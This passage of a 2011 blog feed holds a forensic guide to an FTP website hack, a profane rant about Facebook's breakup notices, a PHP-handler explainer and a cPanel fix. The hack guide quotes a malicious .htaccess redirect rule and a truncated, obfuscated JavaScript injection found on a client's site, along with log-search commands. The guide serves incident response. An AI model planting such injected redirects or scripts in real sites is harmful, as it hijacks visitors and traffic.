RewriteCond %{HTTP_REFERER} .*netscape.*$ [NC]

RewriteRule .* http://some-other-website.com/ [R=301,L]
</pre>
<p>I say this one is the worst because it can go undetected for a long time. It will not produce errors on your site, and most people do not browse through their own code very often. The biggest tell tale sign is if you notice a significant drop in traffic. As a precaution, make it a habit to search your own website on search engines to see what comes up. You should be doing this anyway to keep track of your SEO practices.</p>
<h3>#2 &#8211; What files have been hacked?</h3>
<p>For the sake of this article, I&#8217;m going to use a recent example I ran across with a client. They were the victim of #1.1, bad lines of code. Here is the code that was actually at the bottom of their wordpress&#8217; index page:</p>
<pre>
&lt;script&gt;function createCSS(selector,declaration){var ua=navigator.userAgent.toLowerCase();var isIE=(/msie/.test(ua))&amp;&amp;!(/opera/.test(ua))&amp;&amp;(/win/.test(ua));var style_node=document.createElement(&quot;style&quot;);if(!isIE)style_node.innerHTML=selector+&quot; {&quot;+declaration+&quot;}&quot;;document.getElementsByTagName(&quot;head&quot;)[0].appendChild(style_node);if(isIE&amp;&amp;document.styleSheets&amp;&amp;document.styleSheets.length&gt;0){var last_style_node=document.styleSheets[document.styleSheets.length-1];if(typeof(last_style_node.addRule)==&quot;object&quot;)last_style_node.addRule(selector,declaration);}};createCSS('#va','background:url(data:,String.fromCharCode)');var anc=null;var r=document.styleSheets;for(var i=0;i&lt;r.length;i++){try{var laf=r[i].cssRules||r[i].rules;for(var kw=0;kw&lt;laf.length;kw++){var ta=laf.item?laf.item(kw):laf[kw];if(!ta.selectorText.match(/#va/))continue
</pre>
<p>Obviously we know that the index.php file is infected, but what other files might be tainted as well? Lets find out. *Note: The following commands are done with SSH console to your VPS or dedicated server. If you do not have SSH acces, contact your hosting provider. They can do the following investigation for you.</p>
<p>From your document root, search for the bad code with a recursive &#8216;grep&#8217; command. This can take a long time if you have a lot of files (I chose to ignore the error log because I&#8217;m looking for a list of infected files. I don&#8217;t need that list filled with extraneous hits of error log entries).</p>
<pre class="brush: bash;">
grep -Ri &quot;&lt;script&gt;function createCSS(selector,declaration)&quot; ./* | grep -v error_log

./Backup/includes/functions/login.php
./Backup/index.php
./Backup/login.php
./admin/includes/index.php
./admin/index.php
./administrator/import/index.php
./administrator/modules/login/login.php
./administrator/modules/home/home.php
./administrator/modules/index.php
./affiliate/user/admin/index.php
./affiliate/user/index.php
./affiliate/index.php
./plugin/login.html
./plugin/index.php
./index.php
./login.php

List truncated...
</pre>
<p>It would seem that the intruder went after nearly all the default php files on the account. A restore may be better than cleaning out each file, due to the sheer number of infected files.</p>
<h3>#3 &#8211; When and Who did it?</h3>
<p>Once you have found out how you&#8217;ve been hacked and where the bad file is, you can begin diving deeper. We&#8217;ll start with finding out when it occurred. A simple &#8216;list&#8217; command will give you the date the file was modified.</p>
<pre class="brush: bash;">
ls -lash

4.0K -rw-r--r--   1 username username  3.1K Jan 14 20:54 index.php
</pre>
<p>Now we can search through the FTP logs to see who modified that file on Jan 14th. We&#8217;ll also be able to see what other files they modified:</p>
<pre class="brush: bash;">
tail -n 500000 /var/log/messages* | grep &quot;Jan 14&quot; | grep ftp

Jan 14 20:44:40 vps pure-ftpd: (?@85.95.192.98) [INFO] username is now logged in
Jan 14 20:54:54 vps pure-ftpd: (username@85.95.192.98) [NOTICE] /home/username//public_html/index.php downloaded  (1679 bytes, 18615.92KB/sec)
Jan 14 20:54:57 vps pure-ftpd: (username@85.95.192.98) [NOTICE] /home/username//public_html/index.php uploaded  (7671 bytes, 8.89KB/sec)
Jan 14 20:54:59 vps pure-ftpd: (username@85.95.192.98) [NOTICE] /home/username//public_html/login.php downloaded  (1298 bytes, 16902.83KB/sec)
Jan 14 20:55:02 vps pure-ftpd: (username@85.95.192.98) [NOTICE] /home/username//public_html/login.php uploaded  (7290 bytes, 14.21KB/sec)
Jan 14 20:55:08 vps pure-ftpd: (username@85.95.192.98) [NOTICE] /home/username//public_html/Backup/index.php downloaded (717 bytes, 113.28KB/sec)
Jan 14 20:55:10 vps pure-ftpd: (username@85.95.192.98) [NOTICE] /home/username//public_html/Backup/index.php uploaded (6709 bytes, 10.96KB/sec)

List truncated....
</pre>
<h3>#4 &#8211; We found the intruder, now what?</h3>
<p>The list gives us the IP address of the intruder: 85.95.192.98. If you are feeling really curious, you can do a Geographic lookup of the IP to see where in the world it came from: <a href="http://www.geobytes.com/IpLocator.htm?GetLocation">IP Address locator</a>. This particular threat was from France. Time to block that IP in our server&#8217;s firewall.</p>
<p>The list above also tells us two more pieces of information.</p>
<p>First, it gives us a list of modified files. We already knew most of them because of the search we did earlier for the hack code. If the hacker changed up which code they were using, the search through the logs will tell us what other files they touched. You can now look through the FTP logs for just that IP if you want.</p>
<p>Second thing that FTP log shows us, and most importantly, is what user logged in. In this case it was the main user &#8220;username&#8221;. The account holder&#8217;s user name. And because it was a successful authentication, we <strong>know</strong> that they have the password. You should change your password right away.</p>
<p>The next step is to remove the hack code from your files or do a restore. In our example, I opted to restore the entire account because there were so many files infected. I happened to have a backup from only 12 hours before the hack, so it made sense to restore. They are back to normal and everything is right in the world again.</p>
<p>In a future article, I&#8217;ll discuss way to prevent hackers and how to harden your server.</p>
]]></content:encoded>
			<wfw:commentRss>http://boomshadow.net/tech/how-to-investigate-an-ftp-hack/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Fuck You Facebook</title>
		<link>http://boomshadow.net/thoughts/fuck-you-facebook/</link>
		<comments>http://boomshadow.net/thoughts/fuck-you-facebook/#comments</comments>
		<pubDate>Wed, 02 Feb 2011 12:19:43 +0000</pubDate>
		<dc:creator>boomshadow</dc:creator>
				<category><![CDATA[Thoughts]]></category>
		<category><![CDATA[facebook]]></category>
		<category><![CDATA[fuck you]]></category>
		<category><![CDATA[single ads]]></category>

		<guid isPermaLink="false">http://boomshadow.net/?p=267</guid>
		<description><![CDATA[Facebook is inconsiderate, insensitive, and downright cruel. Like a night out with Charlie Sheen, it may be entertaining at first, but then it just gets disturbing.]]></description>
			<content:encoded><![CDATA[<p>Fuck you Facebook! You are inconsiderate, insensitive, and downright cruel.<br />
Icon now available as a <a href="http://www.redbubble.com/people/boomshadow/works/8474304-fuck-facebook" target="_blank">fun sticker or T-Shirt!</a></p>
<p><a href="http://boomshadow.net/wp-content/uploads/2011/02/fuck_facebook_icon.jpg"><img src="http://boomshadow.net/wp-content/uploads/2011/02/fuck_facebook_icon-150x150.jpg" alt="Fuck Facebook icon" title="fuck_facebook_icon" width="150" height="150" class="alignleft size-thumbnail wp-image-414" /></a></p>
<p>Like a night out with Charlie Sheen, it may be entertaining at first, but then it just gets disturbing.</p>
<p>Facebook&#8217;s intrusion of our personal lives has gotten out of hand. Couple it&#8217;s infection with their desire to sell ads to the point of exploitation, and you can call them downright cruel. Facebook is like that friend who still tells &#8220;Your mom&#8221; jokes in a group where someone&#8217;s mother has died. Just ignorant (or stupid) and overtly offensive.</p>
<p>Let me regale you with my story: Just the other weekend, my girlfriend and I broke up (the why is not important for this story). I logged into Facebook the other day, and noticed that she had already changed her relationship status from &#8216;In a relationship&#8217; to &#8216;Single&#8217;. When she did this, it automatically bumped me to &#8216;Single&#8217; as well. That part wasn&#8217;t so much a big deal; it actually makes sense. The unnerving thing was that Facebook decided to post that fact as a update on my wall! So, in case my friends and other contacts didn&#8217;t know, Facebook wanted to be sure they all knew! And it came complete with a &#8220;Like&#8221; &amp; &#8220;Comment&#8221; button! Because that is exactly what I want: some jerk sitting around, seeing that and thinking &#8220;This guy broke up? Oh yeah, super cool! Let me &#8216;Like&#8217; this.&#8221;</p>
<div id="attachment_294" class="wp-caption aligncenter" style="width: 396px"><a href="http://boomshadow.net/wp-content/uploads/2011/02/fb-relationship-to-single.gif"><img class="size-full wp-image-294" title="fb-relationship-to-single" src="http://boomshadow.net/wp-content/uploads/2011/02/fb-relationship-to-single.gif" alt="" width="386" height="64" /></a><p class="wp-caption-text">Like this?! Yeah, that's fun stuff</p></div>
<p style="text-align: center;">
<p>Thankfully, there is a remove button. Call me crazy, but I feel I don&#8217;t need every schmoe I know in passing on Facebook saying &#8216;Sorry to hear that man&#8217; and &#8216;Oh jeeze, that sucks, what happened?&#8217;. It&#8217;s not exactly an ideal conversation starter, especially given that any spawned discussion will surely involve someone going on about their own life and telling me what I &#8216;ought&#8217; to do. It&#8217;s my business; I&#8217;ll share with who I want to. Not who Facebook wants to.</p>
<p>It gets worse yet. Facebook decides to get cruel. While browsing some friends&#8217; pages, I notice that all the ads on the right-hand side now have a &#8216;single&#8217; common theme to them [pun intended]. It&#8217;s like Facebook&#8217;s idea of a sick joke. See the picture below:</p>
<div id="attachment_298" class="wp-caption aligncenter" style="width: 325px"><a href="http://boomshadow.net/wp-content/uploads/2011/02/fb-dating-ads.gif"><img class="size-full wp-image-298" title="fb-dating-ads" src="http://boomshadow.net/wp-content/uploads/2011/02/fb-dating-ads.gif" alt="" width="315" height="764" /></a><p class="wp-caption-text">Damn are these ads targeted or what?</p></div>
<p>Talk about kicking a guy while he&#8217;s down. I haven&#8217;t felt this exploited and used since my first Milli Vanilli concert. They&#8217;re serving ads based on life&#8217;s downs; and it wasn&#8217;t just one or two ads, it was <strong>All</strong> of them. Every single ad had a not-so-subtle message. Facebook basically says to me: &#8220;Hey, I know you&#8217;re going through a tough time what with that break up and all, and you&#8217;re still dealing with it, but let me rub it in a little more and remind you that you&#8217;re definitely single now&#8221;.</p>
<p>Luckily I&#8217;m not the type of person to go off the deep end and get all emotionally destroyed from something I read on the Internet, especially from something as simple as Facebook, but I know there are people out there who do. I only hope my Ex is one of them. Heh heh, just kidding.</p>
<p>Looks like I&#8217;ll be continuing with my current social network activity plan: log in maybe once every few weeks, and when I do, do it on the iPhone app where ads like this don&#8217;t live.</p>
<p>This one goes out to you, Facebook.<br />
Now Available as a <a href="www.redbubble.com/people/boomshadow/works/8474304-fuck-facebook" target="_blank">fun sticker or T-Shirt!</a></p>
<pre>
    _________   __    __    _______   __    __
   |	    | |  |  |  |  /	      | |  |  /  /
   |  ------' |  |  |  |  |   ____| |  | /  /
   |  |___    |  |  |  |  |  |	    |  |/  /
   |   ___|   |  |  |  |  |  |	    |	  /
   |  |       |  |  |  |  |  |____  |	  \
   |  |       |   --   |  |	      | |  |\  \
   |__|       \________/  \_______| |__| \__\

                          ___
				        //   \\
				        ||   ||
				        |\___/|
				        |	  |
				        |	  |
				        |	  |
				        |  	  |
				        |	  |
				        |     |
			       _____|&lt;---&gt;|_____
			   __ /     |	  |	    \
			 /    |     |	  |	    | \
			 |    |     |	  |	    |  |
			 |    |     |	  |	    |  |
			 |			            |  |
			 |			            |  |
			 |			               /
			 |			              /
			  \		                 /
			   \		            /
			    |		            |
			    |		            |

				     ____     ____  _________	___	    ___
				     \	 \   /	 / /	     \ |   |   |   |
				      \   \ /	/  |  _____  | |   |   |   |
				       \       /   | |	   | | |   |   |   |
					    \     /    | |	   | | |   |   |   |
					     |   |	   | |	   | | |   |   |   |
					     |   |	   | |_____| | |   |___|   |
					     |   |	   |	     | |	       |
					     |___|	   \_________/ \___________/
</pre>
<p><a href="http://boomshadow.net/wp-content/uploads/2011/02/fuck_facebook_icon.jpg"><img src="http://boomshadow.net/wp-content/uploads/2011/02/fuck_facebook_icon-150x150.jpg" alt="Fuck Facebook icon" title="fuck_facebook_icon" width="75" height="75" class="alignleft size-thumbnail wp-image-414" /></a></p>
<p>Icon now available as a <a href="http://www.redbubble.com/people/boomshadow/works/8474304-fuck-facebook" target="_blank">fun sticker or T-Shirt!</a><br />
.<br />
.<br />
.</p>
]]></content:encoded>
			<wfw:commentRss>http://boomshadow.net/thoughts/fuck-you-facebook/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>DSO (mod_php) vs. CGI vs. suPHP vs. FastCGI</title>
		<link>http://boomshadow.net/tech/php-handlers/</link>
		<comments>http://boomshadow.net/tech/php-handlers/#comments</comments>
		<pubDate>Thu, 27 Jan 2011 06:37:17 +0000</pubDate>
		<dc:creator>boomshadow</dc:creator>
				<category><![CDATA[Tech]]></category>
		<category><![CDATA[cgi]]></category>
		<category><![CDATA[dso]]></category>
		<category><![CDATA[fastcgi]]></category>
		<category><![CDATA[fcgi]]></category>
		<category><![CDATA[mod_php]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[php handler]]></category>
		<category><![CDATA[suexec]]></category>
		<category><![CDATA[suphp]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://boomshadow.net/?p=242</guid>
		<description><![CDATA[Learn about the differences between four PHP handlers and which might work best for you.]]></description>
			<content:encoded><![CDATA[<p>#Updates:<br />
#02/12/12 | Added definitions<br />
#02/02/12 | Link clean up<br />
#12/30/11 | Added in link for ServInt blog<br />
#10/06/11 | better explanation for CGI with suEXEC</p>
<p><a href="http://boomshadow.net/wp-content/uploads/2011/01/php-logo.jpg"><img src="http://boomshadow.net/wp-content/uploads/2011/01/php-logo-150x150.jpg" alt="PHP logo" title="php-logo" width="100" height="100" class="alignleft size-thumbnail wp-image-393" /></a>This is one of the most common topics that I see customers will ask about. As highly important as PHP handlers are, they often the least understood. They seem complicated, but its not too hard to understand. You don&#8217;t have to know that exact science of how it all works, but one should learn the basics if you want to take your website seriously. Picking the right PHP handler for your website will give you the optimal speeds you want and maybe allow you to save some money by using a cheaper hosting package. So I invite you to take a few minutes and learn something new.</p>
<h1>What are PHP handlers</h1>
<p>In order to run a PHP site, the server must interpret the PHP code  and generate a page when visitors access the website. It interprets the  code based on which PHP library you are using, such as PHP 4 or PHP 5. A  PHP handler is what actually loads the libraries so that they can be  used for interpretation. PHP handlers determine how PHP is loaded on the  server.</p>
<p>There are multiple different handlers that can be used for  loading PHP: CGI, DSO, suPHP, &amp; FastCGI. Each handler delivers the  libraries through different files and implementations. Each file and  implementation affects Apache’s performance, because it determines how  Apache serves PHP.</p>
<p>It is essential for your server&#8217;s performance that you select the  handler that fits your situation. Selecting the right handler is just  as important as the PHP version itself. One handler is not necessarily  always better than another; it depends on your unique setup.</p>
<ul>
<li> Note: You may assign different PHP handlers to different  versions of PHP. For example, version 5 may be handled by CGI while PHP 4  is handled by DSO.</li>
</ul>
<h1>How to change the handler</h1>
<p>Changing the handler on cPanel is very easy to do and only takes seconds. Log into WHM and navigate to: Main &gt;&gt; Service  Configuration &gt;&gt; Configure PHP and SuExec</p>
<p>You simply select your PHP handler choice from the drop-down menu. Then hit &#8220;Save New Configuration&#8221;.</p>
<ul>
<li>Note: If you do not see your desired choice in the drop-down  menu, it may need to be compiled on the server first. Run an &#8220;Easy Apache&#8221; to compile it.</li>
</ul>
<h1>List of PHP handlers</h1>
<h2>DSO (mod_php)</h2>
<p>DSO is also known as mod_php. DSO stands for: Dynamic Shared Object. This is an older configuration but is generally considered the fastest handler. It runs PHP as an Apache  module. This means that PHP scripts will run as the Apache user, which  is the user: &#8216;nobody&#8217;.</p>
<p>DSO has two drawbacks. First, all files created by a PHP script  will have the ownership of &#8216;nobody&#8217;. They will not be readable from the web. Websites that need to upload files through PHP will run into file  permission issues. This is common with WordPress users that upload files  through the WordPress interface or utilize the auto-update feature.  These will fail with DSO.</p>
<p>The second drawback is a security issue. Created files will have  the &#8216;nobody&#8217; ownership. If a hacker finds an exploit in your PHP script,  they could implement a file that has the same privileges as important  system files that are also owned by &#8216;nobody&#8217;. This will give them the  ability to modify files outside of that user&#8217;s account. This is really bad for anyone who does reselling or simply is hosting other person&#8217;s sites. You would not one user to be able to affect another user. However, if there is only one account on the server (or if all the accounts are yours), then DSO may be right for you. The speeds benefits of DSO are unquestionable.</p>
<p>The preventative fix the hack issue is to always keep your site&#8217;s software up to date. Check with your PHP script&#8217;s developer to keep up on the new releases. If you are the only one being hosted on the server, this is easy to do as it&#8217;s part of your webmaster duties already. However, if you&#8217;re reselling, it would be unreasonable to expect all your user&#8217;s to keep their software up to date. They simply may not be as diligent as you.</p>
<p>DSO&#8217;s low CPU usage typically amounts in higher speeds and load times over most other handlers. It is also the default setting on most servers.</p>
<h2>CGI</h2>
<p>CGI stands for: Common Gateway Interface. The CGI handler will run PHP as a CGI module as opposed to an Apache module. CGI still runs PHP processes as the Apache &#8216;nobody&#8217; user. However, if you have suEXEC enabled, it will allow you to see the user that made the request.</p>
<p>The CGI method is intended as a fallback handler for when DSO is not available. According to cPanel&#8217;s own documentation, this method is neither fast nor secure, regardless of whether or not suEXEC is enabled.</p>
<p><a href="http://docs.cpanel.net/twiki/bin/view/AllDocumentation/WHMDocs/MorePhphandlers" title="http://docs.cpanel.net/twiki/bin/view/AllDocumentation/WHMDocs/MorePhphandlers" target="_blank">http://docs.cpanel.net/twiki/bin/view/AllDocumentation/WHMDocs/MorePhphandlers</a></p>
<h2>suPHP</h2>
<p>suPHP stands for Single user PHP. suPHP also runs PHP as a CGI module instead of an Apache module. It differs from CGI in that PHP scripts that are called from the web will run under the  user that owns them, as opposed to &#8216;nobody&#8217;. suPHP is typically the  default handler and is recommended by cPanel for serving PHP because you will be able to see which user owns the account that is running the PHP script.</p>
<p>suPHP is beneficial in that if you are using a file upload tool on your site  (such as an automatic updater or theme/plug-in installer for WordPress), the files will already have the right ownership &amp;  permissions. Uploading and other WordPress functions will not work  without suPHP or FastCGI.</p>
<p>suPHP also offers a security advantage that any php script that is  not owned by the particular user (such as another account or root) will  not be executable. Also, files that have permissions set to world  writeable will likewise be non-executable. This means that if one  account is compromised, the malicious scripts will not be able to infect  other accounts.</p>
<p>The drawback is that suPHP generally runs a much higher CPU load.  In addition, you CANNOT use an Opcode Cache (such as Xcache or APC)  with suPHP. It is strongly recommend that you install a caching plug-into  supplement. If you find that your server is still continually struggling  with CPU usage, you will want to consider switching to DSO or FastCGI.</p>
<p>*If you DO switch to either suPHP or FastCGI, you will need to update the file permissions and ownership. See my other article for automatic fixperms on cPanel servers: <a href="http://boomshadow.net/tech/fixes/fixperms-script/" target="_blank">http://boomshadow.net/tech/fixes/fixperms-script/</a></p>
<h2>FastCGI</h2>
<p>FastCGI (aka: mod_fcgid or FCGI) is a high performance variation of CGI. It  has the security/ownership benefits of suPHP in that PHP scripts will  run as the actual cPanel user as opposed to &#8216;nobody&#8217;. The difference  with FastCGI is that it can drastically save on CPU performance and give  speeds close to that of DSO. It can also be used with an opcode cacher  like eAccelerator or APC, which can help further speed the loading of  pages.</p>
<p>The drawback is FastCGI has a high memory usage. This is because  rather than creating the PHP process each time it is called, like suPHP,  it keeps a persistent session open in the background. This is what lets  it work with an opcode caching software.</p>
<p>If you like the security/ownership benefits of suPHP and you can  afford a major increase in memory usage (meaning you already have a low  average memory usage), you may wish to consider using FastCGI.</p>
<h1>Comparison Graph</h1>
<table border="1" cellpadding="5">
<tbody>
<tr>
<th></th>
<th> DSO</th>
<th> CGI</th>
<th> SuPHP</th>
<th> FastCGI</th>
</tr>
<tr>
<td>Low CPU usage</td>
<td>&#10004;</td>
<td></td>
<td></td>
<td>&#10004;</td>
</tr>
<tr>
<td>Low Memory consumption</td>
<td>&#10004;</td>
<td><center>&#10004;</center></td>
<td>&#10004;</td>
<td></td>
</tr>
<tr>
<td>Runs PHP as site owner instead of Apache</td>
<td></td>
<td><center>&#10004; <br />only w/ suEXEC</center></td>
<td>&#10004;</td>
<td>&#10004;</td>
</tr>
<tr>
<td>Good security</td>
<td></td>
<td></td>
<td>&#10004;</td>
<td>&#10004;</td>
</tr>
</tbody>
</table>
<h1>Special Note for WordPress Users</h1>
<p>If you are using WordPress to run your site, please consider the following:</p>
<ul>
<li>Functions that require uploading files to the server (such as  Auto-updates or Plug-in/Theme installation) will NOT work unless PHP is  loaded as a CGI module. This means they will ONLY work with suPHP or  FastCGI. This will ensure they are uploaded with the correct ownership  &amp; permissions.</li>
</ul>
<ul>
<li>CMS platforms such as WordPress will notoriously run a high CPU load. You will want to install a caching plug-in such as WP Super Cache,  especially if you are running suPHP. If you find that your server is  still continually struggling with CPU usage, you may want to consider  switching to DSO or FastCGI.</li>
</ul>
<h2>Note about this article</h2>
<p>This article is one I originally had written for the ServInt <a href="https://knowledgebase.servint.net/questions/441/All+About+PHP+Handlers" title="ServInt Knowledgebase" target="_blank">KnowledgeBase</a>. It went through some of their editors and was also featured in their <a href="http://blog.servint.net/2011/10/28/the-tech-bench-all-about-php-handlers/" title="ServInt Blog" target="_blank">blog</a>. You can find modified versions of this article over on their pages. Those were used with my permission.</p>
]]></content:encoded>
			<wfw:commentRss>http://boomshadow.net/tech/php-handlers/feed/</wfw:commentRss>
		<slash:comments>53</slash:comments>
		</item>
		<item>
		<title>Fix: Could not edit /home/username/etc/ftpquota</title>
		<link>http://boomshadow.net/tech/fixes/could-not-edit-ftpquota/</link>
		<comments>http://boomshadow.net/tech/fixes/could-not-edit-ftpquota/#comments</comments>
		<pubDate>Sun, 23 Jan 2011 05:58:05 +0000</pubDate>
		<dc:creator>boomshadow</dc:creator>
				<category><![CDATA[Fixes]]></category>
		<category><![CDATA[account transfer]]></category>
		<category><![CDATA[etc]]></category>
		<category><![CDATA[ftpquota]]></category>
		<category><![CDATA[SiteGround]]></category>

		<guid isPermaLink="false">http://boomshadow.net/?p=208</guid>
		<description><![CDATA[Transferring from a host that uses a non standard setup can result in errors.]]></description>
			<content:encoded><![CDATA[<h3>#1 &#8211; The Problem</h3>
<p>When you try to create or modify FTP users in cPanel, you receive: Error. Could not edit /home/username/etc/ftpquota</p>
<p>The only times I have seen this error is when you are transferring a cPanel account over from one web host to another one. The other host is using a non-standard method for the way accounts are set up. In this example, the transfer was coming from SiteGround. Siteground has their users&#8217; etc folders created as Symbolic links as opposed to stored in the users&#8217; home folders.</p>
<p>A quick way to verify if this is your problem is to do an ls. If you see the following, then its a problem:</p>
<pre>
root@vps [/home/username]# ls -la | grep etc
etc -&gt; /sdb/backup/mails/username/etc
</pre>
<h3>#2 &#8211; The Fix</h3>
<h4>2.1</h4>
<p>The best way would be to contact the old hosting company. Ask them to remove the symlink and copy its former destination into your home folder. i.e.:</p>
<pre>
cp -rfp /sdb/backup/mails/username/etc /home/username/
</pre>
<p>Once that is finished, transfer the account again like normal.</p>
<h4>2.2</h4>
<p>In case your old host says no, or you simply want to do it yourself, there is an easy alternative. However, cPanel will no longer recognise any of your previous FTP users, email accounts, or forwarders. You will have to re-create them all.</p>
<p>Delete the symlink and create an etc folder inside your home directory. The beauty of cPanel is that it will automatically create the necessary files inside the new folder when you set up new FTP and mail users.</p>
<pre>
rm -f etc/
mkdir etc/
chown username:mail etc/
</pre>
]]></content:encoded>
			<wfw:commentRss>http://boomshadow.net/tech/fixes/could-not-edit-ftpquota/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

